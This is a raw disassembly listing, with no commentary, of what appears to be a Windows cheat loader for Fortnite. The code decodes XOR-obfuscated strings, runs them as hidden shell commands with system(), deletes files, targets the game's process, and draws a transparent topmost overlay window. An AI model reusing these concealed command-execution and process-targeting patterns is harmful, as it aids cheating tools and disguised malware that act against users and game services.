movabs rax, 0xd34f7f36c0ab374
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x400]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x400], ymm1
vmovdqa xmm2, xmmword [rbp + 0x120]
vxorps xmm2, xmm2, xmmword [rbp + 0x420]
vmovdqa xmmword [rbp + 0x420], xmm2
lea rcx, [rbp + 0x3e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x24c86dd3cad10d80
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp], rax
movabs rax, 0x8d60f0cefc681761
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 8], rax
movabs rax, 0x10836a0c51d63309
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x10], rax
movabs rax, 0xe897b3f5fff0b1bd
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
lea rcx, [rbp]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x2dc164dac3d10d80
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x80], rax
movabs rax, 0xb723d0d8fd7e1768
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4a8], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x24c86dd3cad10d80
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x90], rax
movabs rax, 0xb723d0cefc681761
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4b8], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4c8], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140067d30
cmp eax, 2
jne 0x140069162
movabs rax, 0x3dc46dccc8eb598a
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xb0], rax
movabs rax, 0xb723d0ab84635665
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4d8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp + 0xb0], xmm0
movabs rax, 0x258565d6d3ad598a
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xc553f087fd6f5b63
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x4ac7452715c12430
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x9cb7d79490efe8a1
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xb910d12ab1ae55ef
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
movabs rax, 0x441b47ef55036391
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x400]
vxorps xmm0, xmm0, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x400], xmm0
mov r9d, 0x40
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4e8], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14055dcd8]
call fcn.140002410
test al, al
je 0x1400699a7
lea rdx, str.FortniteClient_Win64_Shipping.exe
mov rcx, qword [0x14055dcd8]
call fcn.140002350
mov dword [0x14055d550], eax
test eax, eax
je 0x14006982d
mov rcx, qword [0x14055dcd8]
call fcn.140002250
mov qword [0x14055d558], rax
test rax, rax
je 0x14006961e
mov rcx, qword [0x14055dcd8]
call fcn.1400022d0
test al, al
je 0x14006940f
call fcn.1400021a0
call fcn.140059dc0
movabs rax, 0x1a8574ddc2e7598a
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp], rax
movabs rax, 0xc245a3cef76e5a79
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 8], rax
movabs rax, 0x3ee70e6835b23b39
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x10], rax
movabs rcx, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rcx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x260], rcx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r13
mov qword [rbp + 0x3f8], r13
lea rax, [rbp]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140068cf3
lea rdx, [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140038c20
lea rdx, [rbp + 0x3e0]
mov cl, 1
call fcn.140064ae0
mov edx, 0x64
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 1
call fcn.14016610c
mov qword [rbp + 0x260], rax
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140043120]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x140069400
cmp dword [rbp + 0x28], 0
je 0x1400693f5
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0x260]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400693f5
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x20], xmm0
mov ecx, 1
call fcn.14016610c
mov qword [rbp + 0x260], rax
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140043170]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x1400693e6
cmp dword [rbp + 0x48], 0
je 0x1400693db
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0x260]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400693db
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0xe0], 0x50
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x100], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x108], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x110], xmm0
lea rbx, str.fortnite
mov qword [rbp + 0x120], rbx
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x128], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x140]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r13
mov rax, qword [rbp + 0xf8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov eax, dword [rbp + 0x14c]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp + 0x148]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0x144]
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x140]
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, [0x1402009cc]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x14055dd98], rax
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
movdqu xmmword [rbp + 0x2a0], xmm6
lea rdx, [rbp + 0x2a0]
mov rcx, qword [0x14055dd98]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 5
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140063b70
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 5
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x14055dd98]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14006901f
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.14000c710
mov rbx, rax
mov dword [rax + 0x10], 0x3c888889
lea rcx, [rbp + 0x270]
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rbp + 0x270]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xdf4], xmm0
movd xmm0, dword [rbp + 0x274]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xdf8], xmm0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14006908d
mov byte [rbx + 0xdfc], 1
mov byte [rbx + 0x3730], 1
mov eax, dword [rbx + 0xdf8]
mov dword [rbx + 0x36e0], eax
jmp 0x140069094
mov byte [rbx + 0xdfc], 0
mov rcx, qword [0x14055dd88]
xor r8d, r8d
mov rax, qword [rcx]
cmp byte [reloc.WS2_32.dll_accept], r8b
je 0x1400690b1
mov edx, 1
jmp 0x1400690b3
xor edx, edx
call qword [rax + 0x40]
call fcn.14002fdd0
call fcn.140030d50
call fcn.140012890
call fcn.140057420
call fcn.14005c3e0
call fcn.140014460
xorps xmm0, xmm0
movups xmmword [rbp + 0x460], xmm0
mov rcx, qword [0x14055dd80]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x14055dd90]
mov edx, 1
call qword [rax + 0x108]
mov rcx, qword [0x14055dd80]
mov rax, qword [rcx]
lea r8, [rbp + 0x460]
mov rdx, qword [0x14055dd90]
call qword [rax + 0x190]
call fcn.14000c380
mov rcx, rax
call fcn.14002fe10
cmp dword [rbp + 0xe8], 0x12
jne 0x140068fc0
call fcn.140030a80
call fcn.140031170
xor ecx, ecx
call fcn.14000a3a0
mov rcx, qword [0x14055dd98]
call qword [sym.imp.USER32.dll_DestroyWindow]
movabs rbx, 0x49a500bea78d37c3
jmp 0x140067d30
mov qword [rbp + 0x260], r14
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x4f8], rax
movdqa xmm0, xmmword [rbp + 0x4f0]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0x260], r15
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xd84aa4c8e1615c7f
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x47955a481b9c793b
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xc6b9dd9c9ee4a9ee
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xcd71b442d28e30a9
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x100]
vxorps xmm2, xmm2, xmmword [rbp + 0x400]
vmovdqa xmmword [rbp + 0x400], xmm2
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs rax, 0x49a500bea7fe5ba0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140067d30
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x48], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x28], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov qword [rbp + 0x260], r14
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x3c0], xmm0
movabs rax, 0x3fcc72da87e85f97
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xd34fa5c4e72d4b69
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x4a82694841dd3975
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x9afed7d59aebbcee
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xaf51cd30bdfa53e2
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
movabs rax, 0x441b69c17b6610d1
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x400]
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x400], xmm2
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x260], r14
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x3c0], xmm0
movabs rax, 0x3fcc72da87e85f97
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xd34fa5c4e72d4b69
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x4a82694841dd3975
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x9bf6d1d59aebbcee
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xbe14c626b6ef10e2
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
movabs rax, 0x441b47ef7b2d4dc3
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x108], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x400]
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x400], xmm2
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x260], r14
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x3c0], xmm0
movabs rax, 0x26cb20dacbf85880
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp], rax
movabs rax, 0xd103b4c5ed6b1978
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 8], rax
movabs rax, 0x10827a015bc6253a
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x10], rax
movabs rax, 0xe897b3f5ff83e6e0
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xe8], rax
movabs rax, 0x3ee70e6835b25755
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe897b3f5ff83c8ce
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x3c0]
lea rdx, [rbp]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x260], r14
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0x260], rbx
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x3c0], xmm0
movabs rax, 0x3fcc72da87e85f97
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xd34fa5c4e72d4b69
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x1e826c4841dd3975
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xc6b99d9191f6a7a8
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x260], rsi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x260], rdi
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x260], rbx
